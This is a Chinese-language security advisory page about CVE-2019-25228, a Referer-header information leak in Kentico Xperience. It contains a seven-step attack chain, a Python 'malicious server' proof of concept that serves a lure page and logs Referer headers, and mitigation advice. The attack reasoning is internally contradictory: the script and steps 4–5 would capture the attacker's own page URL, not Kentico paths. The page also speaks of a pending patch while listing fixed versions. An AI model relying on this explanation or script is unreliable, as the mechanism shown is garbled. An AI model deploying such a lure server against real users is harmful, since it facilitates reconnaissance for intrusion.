IPBUF安全漏洞报告
English
CVE-2019-25228 CVSS 5.3 中危

CVE-2019-25228: Kentico Xperience虚拟上下文URL信息泄露漏洞

披露日期: 2025-12-18

漏洞信息

漏洞编号
CVE-2019-25228
漏洞类型
信息泄露
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Kentico Xperience

相关标签

信息泄露Kentico XperienceReferer头泄露虚拟上下文CVE-2019-25228中危漏洞无需认证网络攻击

漏洞概述

CVE-2019-25228是Kentico Xperience中的一个信息泄露漏洞。该漏洞允许攻击者通过HTTP Referer头泄露虚拟上下文URL。当用户与第三方域名进行交互时,敏感的虚拟上下文信息可能通过页面构建器交互和链接/图像加载被暴露给外部域名。攻击者无需认证即可利用此漏洞,在不需要用户交互的情况下通过网络发起攻击。虽然CVSS评分为5.3(中等严重程度),但此漏洞可能导致敏感的系统路径、配置信息或内部架构被泄露,为进一步攻击提供情报支持。漏洞影响Kentico Xperience的多个版本,攻击者只需构造特定的HTTP请求即可获取目标系统的虚拟上下文信息。

技术细节

该漏洞源于Kentico Xperience在处理HTTP Referer头时未正确验证请求来源。当用户从第三方网站访问包含Kentico Xperience内容的页面时,浏览器会自动发送Referer头,其中包含当前页面URL。Kentico Xperience的页面构建器在处理链接和图像时,会将虚拟上下文URL暴露在Referer头中。具体来说,当页面包含指向Kentico内部资源的链接或图像时,这些资源的完整URL路径会被作为Referer头发送给第三方域名。攻击者可以搭建恶意网站,诱导用户访问,当用户浏览器加载Kentico Xperience托管的内容时,Referer头中包含的虚拟上下文路径就会被发送到攻击者的服务器。攻击者利用这些信息可以了解系统的目录结构、页面ID模式等敏感信息,为后续攻击奠定基础。漏洞存在于Kentico Xperience的页面构建器组件中,特别是在处理外部链接和资源加载时缺乏适当的过滤机制。

攻击链分析

STEP 1
步骤1
攻击者搭建恶意网站,在页面中嵌入指向目标Kentico Xperience站点的资源(如图片、iframe或链接)
STEP 2
步骤2
攻击者通过钓鱼邮件、社交工程或其他方式诱导目标用户访问恶意网站
STEP 3
步骤3
用户浏览器加载恶意页面,自动请求嵌入的Kentico Xperience资源(如1x1像素图片)
STEP 4
步骤4
浏览器发送HTTP请求到Kentico Xperience站点,请求头中包含Referer字段,指向攻击者控制的恶意页面
STEP 5
步骤5
Kentico Xperience响应请求,返回资源内容,但攻击者已在日志中捕获到包含虚拟上下文URL的Referer头
STEP 6
步骤6
攻击者分析Referer头中的路径信息,提取虚拟上下文URL、页面ID、目录结构等敏感信息
STEP 7
步骤7
攻击者利用获取的信息进行进一步攻击,如定向扫描、内部资源访问或针对已知漏洞的利用

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2019-25228 PoC - Information Disclosure via HTTP Referer # This PoC demonstrates how virtual context URLs can be leaked import http.server import socketserver from urllib.parse import urlparse, parse_qs class LeakingServer(http.server.SimpleHTTPRequestHandler): def do_GET(self): # Log all incoming requests including Referer headers referer = self.headers.get('Referer', 'No Referer') print(f"[+] Received request from: {self.client_address}") print(f"[+] Referer: {referer}") # Parse Referer to extract virtual context URLs if referer != 'No Referer': parsed = urlparse(referer) print(f"[+] Path: {parsed.path}") print(f"[+] Query: {parsed.query}") # Check for Kentico virtual context patterns if any(pattern in referer.lower() for pattern in ['kentico', 'pagebuilder', '/cmspages/', '/cmsapi/']): print(f"[!] VULNERABLE: Virtual context URL leaked: {referer}") # Serve malicious page with embedded resources html = ''' <html> <head><title>Click to view content</title></head> <body> <h1>Click below to view content</h1> <!-- Image from Kentico site - triggers Referer leak --> <img src="http://target-kentico-site.com/media/images/tracking.gif" width="1" height="1"> <!-- Link to Kentico site --> <a href="http://target-kentico-site.com/cmspages/pagebuilder.aspx">Continue</a> </body> </html> ''' self.send_response(200) self.send_header('Content-type', 'text/html') self.end_headers() self.wfile.write(html.encode()) if __name__ == '__main__': PORT = 8080 print(f"[*] Starting malicious server on port {PORT}") print(f"[*] Wait for victim to visit this page") with socketserver.TCPServer(("", PORT), LeakingServer) as httpd: httpd.serve_forever()

影响范围

Kentico Xperience < 13.0.200
Kentico Xperience 12.0.x < 12.0.180
Kentico Xperience 11.0.x < 11.0.203

防御指南

临时缓解措施
在官方补丁发布之前,可以采取以下临时缓解措施:1)配置反向代理或CDN服务,过滤或重写传入的Referer头;2)实施严格的CSP策略,限制页面只能从同源加载资源;3)监控Web服务器日志,检测异常的Referer头模式;4)考虑暂时禁用页面构建器的外部链接功能;5)使用WAF规则阻止包含Kentico特定路径模式的Referer头。需要注意的是,这些措施可能影响网站的部分功能,建议在测试环境中验证后再部署到生产环境。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表